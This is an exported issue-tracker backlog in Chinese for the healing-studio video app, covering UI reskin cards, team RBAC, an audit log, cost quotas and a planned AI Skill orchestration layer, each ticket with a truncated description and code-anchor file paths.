描述 : 把第三方開源設計智庫 \*\*ui-ux-pro-max\*\* (nextlevelbuilder/ui-ux-pro-max-skill v2.5.0, MIT) 接入 AIDV 開發工作流,讓「任何會改變介面長相 / 手感 / 移動 / 互動」的卡都用同一套智庫做決策與自檢,治理跨殼跨頁的 UI/UX 一致性。 ## 範圍 \* 智庫已 vendored 到 `claude/skills/ui-ux-pro-max/` (SKILL.md + scripts 離線 BM25 檢索 + data CSV 161 配色 / 字體配對 / 風格 / UX 守則 / 各技術棧效能)。 \* 工作流 SOP (`docs/plan/AIDV-dev-workflow.md`) 新增 §2.5 「UI/UX 一致性」,接進既有兩道門 : \* \*\*設計門 (階1->2)\*\* : UI 卡先跑 `search.py --design-system`, pattern / 互動 / 動效 / 反模式對照 design-kit token 落工作表。 \* \*\*驗證門 (階3->4)\*\* : 全綠後加一輪「交付前檢查表」自檢 (可及性、觸控、設計一致、

程式碼錨點 : (碼中無 AIDV-103 註記)

## AIDV-104 modelResearcher 測試 vs 現行設計衝突 (CI baseline 收尾)

故事 · Backlog · 優先 Medium · 父卡 AIDV-55 · labels caution,decision,wave-h

描述 : 由 AIDV-29 CI baseline 收尾拆出的追蹤卡 (Bruce 決議「先擱置」)。 \*\*現況\*\* : `tests/unit/server/modelResearcher.test.ts` 有 2 個測試在 main 上即為紅燈,與現行 prod 刻意設計衝突,故 H1 PR gate (AIDV-56) 暫以 `--exclude '\*\*/modelResearcher.test.ts` 排除。 \*\*衝突點\*\* : 1. `discoverNewAIReleases` > returns a clear error when neither provider key is set` — 測試要求錯誤訊息點名 `PERPLEXITY\_API\_KEY` / `OPENROUTER\_API\_KEY` ; 但現行設計 : 沒 key 時會走 \*\*免金鑰的 HN/Reddit 公開來源 fallback\*\* (`callPublicDiscovery`) , 不是硬失敗,故錯誤訊息不會點名 key (測試環境下公開來源無網路 -> 回 "All discovery provid

程式碼錨點 : (碼中無 AIDV-104 註記)

## AIDV-105 [重複作廢->見 AIDV-74 Wave U] 設計系統與四殼地基

大型工作 · 完成 · 優先 Medium · labels duplicate-void

描述 : \*\*目標\*\* : 把 design kit 的設計系統與四殼骨架落到 `healing-studio` 正式碼,作為所有子系統 re-skin 的地基。掛 `ENABLE\_4SHELL` 旗標, \*\*預設 OFF = 線上現狀, 54 條既有 route 一條不動\*\*。 \*\*範圍\*\* \* Token/Theme drop-in : `00\_設計系統/tokens.oklch.css` (Tailwind 4 `@theme` + shadcn `:root` 亮色覆寫) 貼進 `client/src/index.css`, class 名一比一保留 (暖米白分層 + clay 主強調, 零色碼硬寫)。 \* 三欄 cockpit 殼 : `shells/video/columns/ContextColumn` · `DirectorColumn` · `DatabaseColumn` + `VideoCockpit/VideoCockpitFrame/GuidedJourney/StageBar/ConfirmGate`。 \* 六個 DatabaseColumn 分頁骨架 : `panels/

程式碼錨點 : (碼中無 AIDV-105 註記)

## AIDV-106 [重複作廢->見 AIDV-30 Wave O] Wave O 純前端先贏

大型工作 · 完成 · 優先 Medium · labels duplicate-void

描述 : \*\*目標\*\* : 低風險先贏。純前端 re-home/re-skin, 掛旗標、零後端改動, 直接接既有真實 procedure。 \*\*含子系統 (8 著手點)\*\* : 2-1 腳本、2-3 分鏡圖 (GateCard/ShotCard re-skin)、2-5 配音 / 環境音、2-6 配樂、2-12 視覺提示庫 Flow TV (皮先上)、2-13 單模型遊樂場 (本體)、2-16 客製化設定、2-18 影片系統設定。 \*\*完成定義\*\* : 旗標 OFF 不影響線上 ; 旗標 ON 時各面板可用既有 procedure 走通三態 (isLoading/data/error)。

程式碼錨點 : (碼中無 AIDV-106 註記)

## AIDV-107 [重複作廢->見 AIDV-31 Wave 1] Wave 1 面板 + Adapter 接線

大型工作 · 完成 · 優先 Medium · labels duplicate-void

描述 : \*\*目標\*\* : 前端面板 + adapter 接線, 輕後端。 \*\*含子系統\*\* : 2-9 素材瀏覽、2-10 AI 代理操作面板 ; 並新增 `adapters/promptVault.trpc.ts` (讓 2-12 存庫真實化)、2-13 統一模型目錄頁、2-3 分鏡圖內外生圖切換。 \*\*完成定義\*\* : 面板經六 seam 取真實資料 ; promptVault 接縫把 `recordGenResult` 的 assetId 寫進提示詞庫紀錄。

程式碼錨點 : (碼中無 AIDV-107 註記)

### AIDV-108 [重複作廢->見 AIDV-32 Wave 2] Wave 2 需後端表

大型工作 · 完成 · 優先 Medium · labels duplicate-void

描述： \*\*目標\*\*：需要新後端表/落帳的子系統。 \*\*含子系統\*\*：2-7 角色微調(LoRA)、2-8 場景微調(風格 LoRA)、2-11 成本計算系統 (真實成本落帳 + 退點對帳)、2-17 工作流設定系統 ( `user\_workflows` / `workflow\_steps` 持久化)、2-9 `project\_asset\_links` 正式關聯。  
 \*\*完成定義\*\*：對應後端表/ procedure 到位；前端面板由 flag-gated 殼轉為真實落地。

程式碼錨點： (碼中無 AIDV-108 註記)

### AIDV-109 [重複作廢->見 AIDV-33 Wave 3] Wave 3 重後端 + 基礎設施

大型工作 · 完成 · 優先 Medium · labels duplicate-void

描述： \*\*目標\*\*：重後端 + 基礎設施，部分卡 Bruce 決策/金鑰。 \*\*含子系統\*\*：2-2 世界觀 + 連接器(5類) + BYOMCP、2-4 分鏡生影片(M3 `video\_\*` 兩表 + provider adapter + Supabase 金鑰)、2-14 團隊協作(即時 presence/同編/留言)、2-15 代理建置區(Harness builder)。 \*\*前置\*\*：Supabase 金鑰、pgvector `halfvec(3072)+HNSW` (已鎖定)、M3 段落狀態機、BYOMCP 權限表、決策 1/2/3/6。

程式碼錨點： (碼中無 AIDV-109 註記)

### AIDV-110 [重複作廢->見 AIDV-91 U-1] Token/Theme drop-in

故事 · 完成 · 優先 Medium · 父卡 AIDV-105 · labels duplicate-void

描述： \*\*設計來源\*\*：design kit 設計系統 SSOT / 移植對照表 §1②。 \*\*做什麼\*\*：把 `00\_設計系統/tokens.oklch.css` (Tailwind 4 `@theme` + shadcn `:root` 亮色覆寫) 貼進 `client/src/index.css`，語義 token (`~clay --gold --surface --line --ok --warn --bad --r-md --shadow-card ...`) 與既有 class (`~.card .btn .seg .pill .meter .listrow .toggle .gate .shot .thumb ...`) 一比一保留。 \*\*驗收\*\*：原型版面樣式可直接貼回；元件只綁語義 token、零色碼硬寫 (縮圖漸層 frameBg 例外)；暖米白分層 + clay 主強調呈現正確；旗標 OFF 不影響線上樣式。 \*\*工作量\*\*：易 · S。

程式碼錨點： (碼中無 AIDV-110 註記)

### AIDV-111 [重複作廢->見 AIDV-95 U-5] 三欄 cockpit 殼

故事 · 完成 · 優先 Medium · 父卡 AIDV-105 · labels duplicate-void

描述： \*\*設計來源\*\*：移植對照表「真實 `video` 殼長相」。 \*\*做什麼\*\*：建 / 接 `shells/video/columns/ContextColumn` · `DirectorColumn` · `DatabaseColumn` + `VideoCockpit` / `VideoCockpitFrame` / `GuidedJourney` / `StageBar` / `ConfirmGate`。三欄導演台版面成形,左 Story Spine、中創作 canvas、右 Context Sidecar。 \*\*驗收\*\*：三欄 cockpit 版面成形；StageBar 顯示鏡號 SOX；ConfirmGate 走 `computeGate`；掛 `ENABLE\_4SHELL`,`OFF` 不影響線上。 \*\*工作量\*\*：中 · M。

程式碼錨點： (碼中無 AIDV-111 註記)

### AIDV-112 [重複作廢->見 AIDV-95 U-5] 六個 DatabaseColumn 分頁骨架

故事 · 完成 · 優先 Medium · 父卡 AIDV-105 · labels duplicate-void

描述： \*\*設計來源\*\*：移植對照表「六個 DatabaseColumn 分頁」。 \*\*做什麼\*\*：建 `panels/CharacterPanel` · `ScenePanel` · `ShotPanel` · `AssetsPanel` · `NotesPanel` · `PromptsPanel` 分頁骨架 + tab 切換。多數原型子系統是 re-skin 進這些既有 column/panel,先把容器與三態框架立起來。 \*\*驗收\*\*：六分頁可切換；每頁有空 / 載入 / 結果三態框架 (待各子系統 Story 填內容)；旗標 OFF 不影響線上。 \*\*工作量\*\*：中 · M。

程式碼錨點： (碼中無 AIDV-112 註記)

### AIDV-113 [重複作廢->見 AIDV-94 U-4] 共用三態/四態元件

故事 · 完成 · 優先 Medium · 父卡 AIDV-105 · labels duplicate-void

描述： \*\*設計來源\*\*：移植對照表 §1① (`PROTO.util` -> 設計系統元件)。 \*\*做什麼\*\*：把原型 `PROTO.util.icon/orb/pill/toast/money/esc/el` 對映成設計系統元件 `

程式碼錨點： (碼中無 AIDV-113 註記)

### AIDV-114 U-11 OrbAssistant 光球助手視覺實裝 (跨殼：浮球 + 主動泡泡 + 6 情境分頁 + 人格心情)

故事 · 進行中 · 優先 High · 父卡 AIDV-74 · labels uiux,wave-u

描述： 設計交付『SSOT §14.1 OrbAssistant』+ 實站「精靈系統」右下常駐光球，四殼共掛，目前無對應 U 卡 (U-4 chrome 不含光球)。 畫面 checklist： - [ ] 浮球 FAB (.orb-fab，右下常駐, clay 高光；reduced-motion 關呼吸) - [ ] 面板 (.orb-panel：暖白半透明 + backdrop-blur + 柔陰影 + clay 高光) - [ ] 6 情境分頁 (內容隨頁面變化)：本頁 / 提示詞 / 對話 / 專注流 / 積分 / 筆記；「提示詞」= U-9 VaultBrowser；「本頁」= 情境提示 + Flow 展示牆 (一鍵重跑) - [ ] ProactiveBubble 主動泡泡 (精靈 emoji + 名 + 一句提醒 + CTA；對應 16 條觸發 prompt\_too\_short / notes\_capture\_suggested / feature\_not\_used...) - [ ] 人格 / 心情頭 (Calm / Creative / Technical + 心情提示) - [ ] 四態 (空 / 載入 / 錯誤 / 內容) + a11y (aria

程式碼錨點 (8)：

- client/src/components/design-kit/orb.test.tsx:3
- client/src/components/design-kit/orb.test.tsx:20
- client/src/components/design-kit/orb.test.tsx:1
- client/src/components/DashboardLayout.tsx:952
- client/src/shells/AidvOrbMount.tsx:3
- client/src/shells/AidvOrbMount.test.tsx:3
- client/src/shells/AidvOrbMount.test.tsx:25
- client/src/shells/AidvOrbMount.test.tsx:69

## AIDV-115 U-12 連接器／個人資料庫 5 類治理面板視覺實裝 (/settings/connections + ACL + BYOMCP)

故事 · 完成 · 優先 Medium · 父卡 AIDV-74 · labels uiux,wave-u

描述：設計交付『移植 2-2/UIUX §2-2 §5.1』個人資料庫連接器拓撲（5 類），現 U-8 /settings 清單未含 connections 面板、U-7 僅含 API 金鑰/BYOMCP 片段，缺整合治理頁。畫面 checklist：- [ ] 5 類連接器卡：② Google 雲端(cloud/google\_drive,OAuth [完成])／③ Notion(notes [完成])／④ 其他 MCP(mcp, BYOMCP 權限 [注意]待建)／⑤ 內部庫每人 10G([注意]待建)／① 本機(限桌機 待建) - [ ] 連線狀態／新建／刪除／測試連線；authType (oauth／api\_key／none) - [ ] ACL (project\_data\_access\_rules) 範圍化（專案／團隊） - [ ] BYOMCP 工具權限／稽核 (mcp\_tool\_permissions／\\_call\_logs [注意]待建->標待接 pill) - [ ] 連接器供 contextPacket.compileProject 作為允許來源 - [ ] 四態（空／連結資料表（2）：data\_source\_connections, project\_data\_access\_rules

程式碼錨點（9）：

- client/src/components/connectors/ConnectorsPanel.test.tsx:3
- client/src/components/connectors/ConnectorsPanel.test.tsx:27
- client/src/components/connectors/index.ts:2
- client/src/components/connectors/ConnectorsPanel.tsx:3
- client/src/components/connectors/connectorsFlags.ts:4
- client/src/components/connectors/connectorsTypes.ts:4
- client/src/shells/settings/panels/ConnectionsPanel.tsx:2
- client/src/shells/settings/panels/ConnectionsPanel.test.tsx:3
- client/src/shells/settings/panels/ConnectionsPanel.test.tsx:22

## AIDV-116 U-13 團隊協作系統視覺實裝 (/learn/teams：團隊／成員／角色／共享／分工看板)

故事 · 進行中 · 優先 Medium · 父卡 AIDV-74 · labels uiux,wave-u

描述：設計交付『移植 2-14/UIUX §2-14』團隊協作（Bruce 標「很重要」），現 U-7 /learn 與 U-8 /settings 清單皆未含 teams 畫面，為缺口。畫面 checklist：- [ ] 團隊建立／清單／詳情；成員管理（新增／移除／離開／刪除）＋角色 - [ ] 共享：專案／連接器／提示詞庫（promptCollection team\_shared）／團隊教材庫（含 ACL 稽核） - [ ] cockpit 協作顯示成員在線／分工（presence [注意]即時通道待建->標待接） - [ ] 專案級成員分工看板（[注意]待建->殼＋待接 pill） - [ ] 四態（空／載入／錯誤／內容）＋權限延伸態＋RWD＋a11y 已覆蓋：—（teams 畫面 U-7/U-8 皆未含）真實接點：teams.create／list／get／members／addMember／removeMember／leave／delete · team\_memberships · teachingArchive.\* · project\_data\_

連結資料表（4）：project\_data\_access\_rules, team\_memberships, teams, prompt\_collection

程式碼錨點（12）：

- client/src/components/teams/index.ts:1
- client/src/components/teams/DivisionBoard.tsx:1
- client/src/components/teams/teamsFlags.ts:2
- client/src/components/teams/TeamsBoard.test.tsx:3
- client/src/components/teams/TeamsBoard.test.tsx:15
- client/src/components/teams/teamsTypes.ts:1
- client/src/components/teams/TeamCard.tsx:1
- client/src/components/teams/TeamsBoard.tsx:1
- client/src/components/teams/TeamAtoms.tsx:1
- client/src/components/teams/TeamCard.test.tsx:3
- client/src/components/teams/DivisionBoard.test.tsx:3
- client/src/components/teams/TeamAtoms.test.tsx:3

## AIDV-117 U-14 Flow TV 全屏沉浸播放器視覺實裝 (跨 /video /social 提示庫放映皮)

故事 · 進行中 · 優先 Medium · 父卡 AIDV-74 · labels uiux,wave-u

描述：設計交付『移植 2-12/UIUX §2-12』Flow TV 全屏播放器（仿 Google Flow TV）。U-9 為 SaveToVault/VaultBrowser 存取閉環、U-6 S4 僅提「Flow TV 牆」，全屏播放器 UI＝新建展示皮、無專卡。畫面 checklist：- [ ] 全屏沉浸播放器＋底部 prompt 疊層＋「Hide Prompt」開關 - [ ] 模型徽章（Text to Video-Veo…）＋頻道 Channel - [ ] 播放控制：上一個／暫停／下一個＋循環＋全屏 - [ ] 格狀／清單切換；每則顯示 seed＋prompt；一鍵重用／fork／變體（接 U-9 PromptVault） - [ ] 四態（空：尚無可放映提示詞／載入 Skeleton／錯誤重試／內容）＋RWD＋a11y（鍵盤 <--> 空白鍵、aria、reduced-motion 關自動輪播）已覆蓋：—（U-9＝存取閉環、U-6 S4＝Flow TV 牆；全屏播放器皮全新）真實接點：promptLibrary.list／list

連結資料表（2）：digital\_asset\_library, prompt\_library

程式碼錨點（5）：

- client/src/components/flow-tv/index.ts:1
- client/src/components/flow-tv/flowTvFlags.ts:4
- client/src/components/flow-tv/FlowTv.test.tsx:3
- client/src/components/flow-tv/FlowTv.test.tsx:35
- client/src/components/flow-tv/FlowTv.tsx:1

## AIDV-118 U-15 全站四態／空／錯誤態＋RWD 斷點＋a11y (WCAG AA／reduced-motion) 一致性驗收

故事 · 進行中 · 優先 Medium · 父卡 AIDV-74 · labels uiux,wave-u

描述：設計交付『SSOT §11 四態鐵律:RWD:無障礙』為橫貫驗收準則，現散見各殼卡 U-4~U-9 的驗收條目，缺一張統合的跨殼一致性驗收卡（空狀態／錯誤態／RWD／a11y 易漏網）。範圍 checklist（橫貫四殼＋脊椎）：- [ ] 四態鐵律：每個資料區備齊 empty／loading／error／success（＋長內容捲動／虛擬化、權限鎖定 兩延伸態） - [ ] EmptyState／LoadingState／ErrorState／Skeleton（U-10 元件）逐區套用；ErrorState 標真實 procedure 名 - [ ] RWD 斷點：桌機 ≥1181 三欄／平板 ≤1180 cockpit 收單欄＋tabs／手機 ≤780 Rail->MobileNav FAB／窄機 ≤430 shots 1 欄 - [ ] a11y：正文對比 ≥4.5:1、大字／圖示 ≥3:1（clay/gold 用 deep 版）；:focus-visible clay 光環；鍵盤可達（CmdK／↑↓／Esc／Tab 序）；aria（to

程式碼錨點：（碼中無 AIDV-118 註記）

## AIDV-119 U-10 首頁 landing 視覺實裝 (門面 KV/icon set/calm orb)

故事 · 進行中 · 優先 High · 父卡 AIDV-74 · labels uiux,wave-u

描述：本卡為「首頁 landing 視覺實裝」之視覺門面交付：① hero key visual ② 全站共用 icon set ③ calm orb 四態。視覺資產已由 AI Director 視覺代理產出並精修，存於 Cowork outputs 之 `healing-studio-visuals/`。> \*\*代號說明\*\*：另有 AIDV-101「U-10 設計系統 51 元件庫補齊」沿用相同 U-10 代號但主題不同 (元件庫 vs 首頁門面視覺)。本卡聚焦首頁/全站門面 KV，如需可重新編碼。## 鐵則對齊 \* 登入畫面不動：AIDV-93 保留原 cosmic，本批未觸及登入。 \* 首頁 ≠ 登入；本批僅做首頁/全站門面視覺。 \* 僅產視覺資產，未改 healing-studio 程式碼、未開 PR。## 設計語彙 暖米白分層 + clay 主強調 + 亮色副色；療癒繪本電影感；非寫實插畫；品牌溫暖、療癒。## 設計 tokens \* 暖米白：canvas `#FBF7F0` · layer1 `#F6EEEE` · layer2 `#`

PR：#463

程式碼錨點 (10)：

- client/src/components/home/landingFlags.ts:4
- client/src/components/home/LandingHero.tsx:4
- client/src/components/home/LandingIconSet.tsx:4
- client/src/components/home/LandingHero.test.tsx:3
- client/src/components/home/LandingHero.test.tsx:13
- client/src/components/home/LandingCalmOrb.test.tsx:3
- client/src/components/home/LandingCalmOrb.test.tsx:13
- client/src/components/home/LandingIconSet.test.tsx:3
- client/src/components/home/LandingIconSet.test.tsx:13
- client/src/components/home/LandingCalmOrb.tsx:4

## AIDV-120 OrbAssistant 語音 Gateway 後端實裝 (取代 stub · 接 ASR/TTS/串流)

故事 · Backlog · 優先 High · 父卡 AIDV-78 · labels backend,gap-card,orb-voice

描述： \*\*缺口卡 (2026-06-16 依 Bruce 指示新建)\*\*：OrbAssistant 光球助手前端已在 AIDV-114 排入開發，但其語音通道後端目前為 \*\*stub\*\*，前端做完會是「能顯示、不能講」的空殼。本卡補上真實語音後端。## 範圍 \* 語音 gateway 後端：ASR (語音轉文字) -> orb/agent 編排 -> TTS (文字轉語音) 串流回前端。 \* 接既有 `/agent · orb\_` · spiritRouter` (經 adapter，不直呼)。 \* 串流模式 (WebSocket/SSE) 與 AIDV-13 任務耐久化的可重連機制對齊。 \* 供應商選型 (ASR/TTS) + 金鑰走 Railway 環境變數 (勿寫頁面)。## 完成定義 \* 端到端可講可回：前端按光球說話 -> 後端轉錄 -> orb 編排 -> 語音回覆串流播放。 \* stub 移除；錯誤態 (無金鑰/逾時/供應商失敗) 走 fail-closed。## 依賴 / 關聯 \* 前端：AIDV-114 (OrbAssistant 視覺實裝)。 \* 串流耐久化：AID

程式碼錨點：(碼中無 AIDV-120 註記)

## AIDV-121 團隊資料可見性／權限邊界 SSOT (資料層 RBAC，非僅 UI)

故事 · 完成 · 優先 High · 父卡 AIDV-33 · labels data-boundary,gap-card,internal,rbac

描述： \*\*內部缺口卡 (2026-06-16)\*\*：多人內部使用，需在\*\*資料層\*\* (非僅 UI) 定義「誰能看／改誰的東西」的 SSOT 規則。現有 AIDV-116 (團隊協作視覺)、AIDV-24 (BYOMCP 權限稽核)、settings Admin RBAC 偏畫面，缺底層資料可見性規則。## 範圍 \* 角色模型：owner/editor/viewer (或團隊自訂)，定義到 \*\*專案／資產／提示詞／教材庫\*\* 各層。 \* 資料可見性 SSOT：每個 query/mutation 經統一授權判斷 (不在前端硬擋)，預設\*\*最小可見\*\*。  
共享範圍：專案／資產可顯式共享給成員或團隊；跨成員引用 (變體／改寫／延伸) 需符合可見性。  
成員離開後\*\*資產歸屬／移轉\*\*規則 (避免孤兒資料)。## 完成定義 \* 後端授權層通過：A 看不到 B 的未共享專案／資產 (API 層擋，不只 UI 隱藏)。 \* 共享、撤銷共享、移轉歸屬可運作且有測試。## 關聯 \* 協作：AIDV-33 (Wave 3)、presence/同編 AIDV-20/21。 \* 稽核：

程式碼錨點 (34)：

- server/services/authz/resourceAccess.ts:2
- server/services/authz/\_\_tests\_\_/resourceAccessResolver.test.ts:2
- server/services/authz/\_\_tests\_\_/resourceAccessResolver.test.ts:44
- server/services/authz/\_\_tests\_\_/resourceAccess.test.ts:2
- server/services/authz/\_\_tests\_\_/resourceAccess.test.ts:46
- server/services/authz/\_\_tests\_\_/resourceAccess.test.ts:136
- server/services/authz/\_\_tests\_\_/resourceAccess.test.ts:159
- server/routers/promptLibrary.ts:162
- server/routers/promptLibrary.ts:279
- server/routers/\_\_tests\_\_/brainPipeline.test.ts:301
- server/routers/\_\_tests\_\_/teamAssetsEnforcement.test.ts:2
- server/routers/\_\_tests\_\_/teamAssetsEnforcement.test.ts:65
- server/routers/\_\_tests\_\_/promptLibraryEnforcement.test.ts:2
- server/routers/\_\_tests\_\_/promptLibraryEnforcement.test.ts:94
- server/routers/\_\_tests\_\_/creativeProjectEnforcement.test.ts:2
- server/routers/\_\_tests\_\_/creativeProjectEnforcement.test.ts:55
- server/routers/\_\_tests\_\_/rbac.test.ts:2
- server/routers/\_\_tests\_\_/rbac.test.ts:88
- server/routers/\_\_tests\_\_/rbac.test.ts:206
- server/routers/\_\_tests\_\_/rbac.test.ts:232
- server/routers/rbac.ts:2
- server/routers/creativeProject.ts:87
- server/routers/creativeProject.ts:232
- server/routers/teachingArchive.ts:372
- server/db.ts:3679
- server/\_core/env.validated.ts:549
- server/routers.ts:4138
- server/routers.ts:4271
- server/routers.ts:4481

- client/src/components/teams/teamsFlags.ts:14  
- client/src/components/teams/teamsTypes.ts:4  
- client/src/components/teams/teamsTypes.ts:9  
- client/src/components/teams/TeamsBoard.tsx:8  
- client/src/components/teams/TeamAtoms.tsx:6

## AIDV-122 內部資料治理：素材來源血統／敏感分級／AI 輸出來源標示

故事 · Backlog · 優先 Medium · 父卡 AIDV-55 · labels data-governance,gap-card,internal,lineage

描述： \*\*內部缺口卡 (2026-06-16) \*\*：系統重內部資料 (教材庫 RAG、提示詞庫、連接器 5 類、上傳素材)。缺一層「資料從哪來、能不能用、誰上傳」的治理。AIDV-51 血統檢視偏\*\*生成血統\*\*，AIDV-69 是 RAG 注入安檢；本卡補\*\*資料/素材治理\*\*。  
## 範圍 \*  
\*\*素材來源標註\*\*：每份上傳素材／教材記錄來源 (誰上傳、原始出處、可用範圍：內部/可商用/僅參考)。  
\*\*敏感分級\*\*：素材／教材可標敏感層級，影響可見性 (接 AIDV-121 權限邊界) 與是否可進 RAG。  
\* \*\*AI 輸出來源標示\*\* (內部追溯，非法違)：產出的影片／圖記錄「AI 生成 + 用了哪些來源素材/LoRA/提示詞」，供日後追查與資產管理。  
\* 與 AIDV-69 RAG 安檢、AIDV-51 生成血統對齊，不重工。  
## 完成定義 \* 任一素材/教材可查到來源與可用範圍；敏感標記會連動可見性。  
\* 任一 AI 產出可回溯其來源素材鏈。  
## 關聯 \* 權限邊界：AIDV-121。生成血統：AIDV-51。RAG 安檢：AIDV-69。稽核：本  
程式碼錨點： (碼中無 AIDV-122 註記)

## AIDV-123 全站操作稽核軌跡 (audit log：actor／動作／目標／時間)

故事 · 完成 · 優先 Medium · 父卡 AIDV-55 · labels audit-log,gap-card,internal

描述： \*\*內部缺口卡 (2026-06-16) \*\*：多人 + 重資料，需要「誰在何時對哪個專案/資產做了什麼」的全站稽核紀錄。AIDV-24 僅提 BYOMCP 稽核，缺全站性 audit log。  
## 範圍 \*  
統一稽核事件：登入、建立/修改/刪除專案·資產·提示詞·教材、共享/撤銷、生成、連接器授權、成本相關操作。  
紀錄欄位：actor、時間、動作、目標物、結果、來源 IP/裝置 (內部最小必要)。  
\* 唯讀查詢介面 (settings/觀測 或 Admin)，可依成員/專案/時間範圍過濾。  
\* 保留策略 (與 AIDV-63 log 保留對齊)。  
## 完成定義 \*  
關鍵寫入操作都有對應稽核事件，不可由一般使用者竄改。  
\* Admin 可查詢、過濾、匯出稽核紀錄。  
## 關聯 \*  
權限邊界：AIDV-121。資料治理：AIDV-122。BYOMCP 稽核：AIDV-24。log 保留：AIDV-63。

程式碼錨點 (5)：

- server/services/audit/auditLog.ts:2  
- server/services/\_\_tests\_\_/auditLog.test.ts:2  
- server/routers/auditLog.ts:2  
- server/routers/\_\_tests\_\_/brainPipeline.test.ts:300  
- server/routers/rbac.ts:37

## AIDV-124 API 成本配額／預算管控 (可選·疊在 AIDV-14 之上)

故事 · Backlog · 優先 Low · 父卡 AIDV-32 · labels cost-control,gap-card,internal,optional

描述： \*\*內部缺口卡 (2026-06-16) · 可選\*\*：疊在 AIDV-14 (內部成本歸屬可視) 之上的\*\*管控層\*\*。  
AIDV-14 讓成本「看得到」；本卡讓共用金鑰「不會被燒爆」。  
> 依 Bruce 內部定位，預設\*\*先做可視、不強制配額\*\*。  
本卡為可選後續，先標 Low 捕捉構想，不急著做。  
## 範圍 (可選，視需要啟用) \* 團隊／成員／專案層級的\*\*預算上限或配額\*\*設定。  
\* 接近上限預警；超限時的行為 (軟提醒 or 暫停生成，可設定)。  
\* 失控任務防護：單次/單日異常用量熔斷 (接 AIDV-60 rate limit、AIDV-13 任務耐久化)。  
## 完成定義 \* 可設預算/配額並在 UI 顯示用量比例。  
\* 超限行爲可運作且可由 Admin 調整。  
## 關聯 \* 依賴：AIDV-14 (成本歸屬資料源)。AI 闡道：AIDV-60。任務耐久化：AIDV-13。

程式碼錨點： (碼中無 AIDV-124 註記)

## AIDV-125 Wave S：AI Skill 工作層 (自訂 + 外部 Skill，導演腦編排)

大型工作 · Backlog · 優先 High · labels internal,skill-system,wave-s

描述： \*\*新 Epic (2026-06-16 依 Bruce 指示) \*\*：在現有「影片創作」架構上\*\*加一層 AI Skill 工作層\*\* (路線 A，非重定位)。讓團隊把反覆做的工作固化成可重用的「AI Skill」，由導演腦 (orb/spirit) 編排；並支援\*\*裝外部/社群 Skill\*\*。  
## 定位 \* 加法，不打掉重練。複用：`workflow\_steps` (AIDV-43)、統一 provider facade (AIDV-11 [完成])、BYOMCP (Wave 4)、連接器 5 類、提示詞庫。  
\* 呼應長期哲學「AI 編導，人的智慧賦予它靈魂與價值」——Skill = 把人的 know-how 固化，AI 編排執行。  
## 本 Epic 已拍板的設計預設 (2026-06-16) 1. \*\*執行層級\*\*：外部 Skill = 宣告式 (prompt 模板 + provider/模型 + 連接器) + 受限沙箱 (無網路/檔案系統、限時限記憶體、只能呼叫白名單 API)。  
\*\*完整 MCP 走既有 BYOMCP 通道\*\*，不在本層重做容器隔離。 2. \*\*內

程式碼錨點： (碼中無 AIDV-125 註記)

## AIDV-126 S-1 Skill 契約 SSOT (manifest schema + 擴充 workflow\_steps)

故事 · Backlog · 優先 High · 父卡 AIDV-125 · labels internal,skill-system,ssot,wave-s

描述： \*\*Wave S 地基卡\*\*：定義「一個 AI Skill 是什麼」的單一真相 (manifest + 執行契約)，擴充現有 `workflow\_steps` (AIDV-43) 成「step = skill 實例」。沒有這層，Skill 會變一堆散裝 prompt。  
## Skill manifest 草案 (skill.json) ``jsonc { "id": "storyboard.breakdown", // 全域唯一 "version": "1.2.0", // 外部 Skill 須 pin "name": "分鏡拆解", "kind": "declarative | sandboxed", // 宣告式 / 受限程式碼 (完整 MCP 走 BYOMCP) "trust": "official | reviewed | community", "inputs": { "script": "text", "shotCount": "int?" }, // schema "outputs": { "shots": "ShotJSON[]" },

程式碼錨點： (碼中無 AIDV-126 註記)

## AIDV-127 S-2 官方 Skill 集：封裝現有影片流程 (契約黃金樣本)

故事 · Backlog · 優先 High · 父卡 AIDV-125 · labels internal,official-skills,skill-system,wave-s

描述： \*\*Wave S 驗證卡\*\*：把你 \*\*Wave I 已完成\*\*的影片流程封裝成「第一個官方 Skill 集」，用真功能驗證 S-1 契約，再開放自訂/外部。這也是「先封裝、後開放」策略的落地。  
## 第一批官方 Skill (拿現成功能封裝) \* `storyboard.breakdown` 分鏡拆解 (AIDV-81 劇本->分鏡骨架) \* `world.styleInject` 世界觀風格注入 (AIDV-80) \* `materials.ground` 教材庫 RAG 接地 (AIDV-82) \* `shot.generate` 鏡頭生成 (既有生成管線) \* `cut.rough` 初剪打包 (AIDV-48 rough-cut) > 全部 trust=official、全權限；作為契約的「黃金樣本」。  
## 範圍 \* 把上述功能各寫一份 skill.json + 接到既有 procedure (經 adapter，不直呼)。  
\* 串成一條「官方影片工作流」= 多個官方 Skill 的預設編排 (接 S-3)。

## ## 完成定義 \* 5 個官方 Skill

程式碼錨點：(碼中無 AIDV-127 註記)

## AIDV-128 S-3 Skill 編排器 (orb/spirit -&gt; 多 Skill 串接／失敗重試)

故事 · Backlog · 優先 High · 父卡 AIDV-125 · labels internal,orchestrator,skill-system,wave-s

描述： \*\*Wave S 核心卡\*\*：把導演腦 (orb/spirit) 從「影片導演」抽象成「\*\*Skill 編排器\*\*」——能串接多個 Skill、傳遞中間產物、處理失敗重試。影片只是其中一條預設編排。## 範圍 \* 編排引擎：依 workflow (一串 skill step) 依序/並行執行；step 輸出餵下一步 輸入 (型別由 S-1 契約檢核)。 \* 失敗處理：單 step 失敗的重試/略過/中止策略；與 AIDV-13 任務耐久化 (可重連 SSE、跨重啟存活) 對齊。 \* 狀態機：以 AIDV-22 XState 收斂編排狀態 (pending/running/awaiting-input/failed/done)。 \* 人在環中：保留你既有的「確認門 ConfirmGate」——某些 step 可要求人工確認再續。 \* orb/spirit 既有編排邏輯改走此引擎 (adapter, 不直呼)。 ## 完成定義 \* 可定義並執行「多 Skill 工作流」，中間產物正確傳遞、失敗可重試。 \* S-2 官方影片工作流在新編排器上行為與現況一致。 #

程式碼錨點：(碼中無 AIDV-128 註記)

## AIDV-129 S-4 Skill 註冊／信任分級 (官方·已審核·社群)／權限放行

故事 · Backlog · 優先 Medium · 父卡 AIDV-125 · labels governance,internal,skill-system,wave-s

